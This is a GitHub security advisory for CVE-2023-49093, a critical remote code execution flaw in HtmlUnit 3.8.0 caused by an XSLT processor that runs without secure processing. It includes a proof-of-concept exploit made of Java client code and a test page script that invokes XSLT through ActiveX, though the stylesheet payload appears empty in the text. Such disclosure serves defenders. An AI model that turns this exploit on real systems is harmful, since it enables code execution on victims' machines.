GitHub Advisoryadvisory · Maven
GHSA-37vq-hr2f-g7h7 HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL
CRITICAL
Official page ↗
- Aliases
- CVE-2023-49093
- Ecosystem
- Maven
- Packages
- org.htmlunit:htmlunit
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2023-12-04
Affected packages
• Maven org.htmlunit:htmlunit: < 3.9.0 → fixed in 3.9.0
Description
Summary
HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage
Details
Vulnerability code location:
org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)
The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor
PoC
pom.xml:
```
org.htmlunit
htmlunit
3.8.0
```
code:
```
WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);
HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html");
System.out.println(page.asNormalizedText());
```
test.html:
```
var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0");
var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0");
var xslProc;
xslDoc.async = false;
xslDoc.loadXML(`
`)
if (xslDoc.parseError.errorCode != 0) {
var myErr = xslDoc.parseError;
document.write("ParseError: "+myErr.reason);
} else {
xslt.stylesheet = xslDoc;
var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
xmlDoc.async = false;
xmlDoc.loadXML("");
if (xmlDoc.parseError.errorCode != 0) {
var myErr = xmlDoc.parseError;
document.write("Document error: " + myErr.reason);
} else {
xslProc = xslt.createProcessor();
xslProc.input = xmlDoc;
xslProc.transform();
document.write(xslProc.output);
}
}
```
Impact
Remote Code Execution
Related
Alias · CVE (1)
- CVE-2023-49093 HtmlUnit is a GUI-less browser for Java programs. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness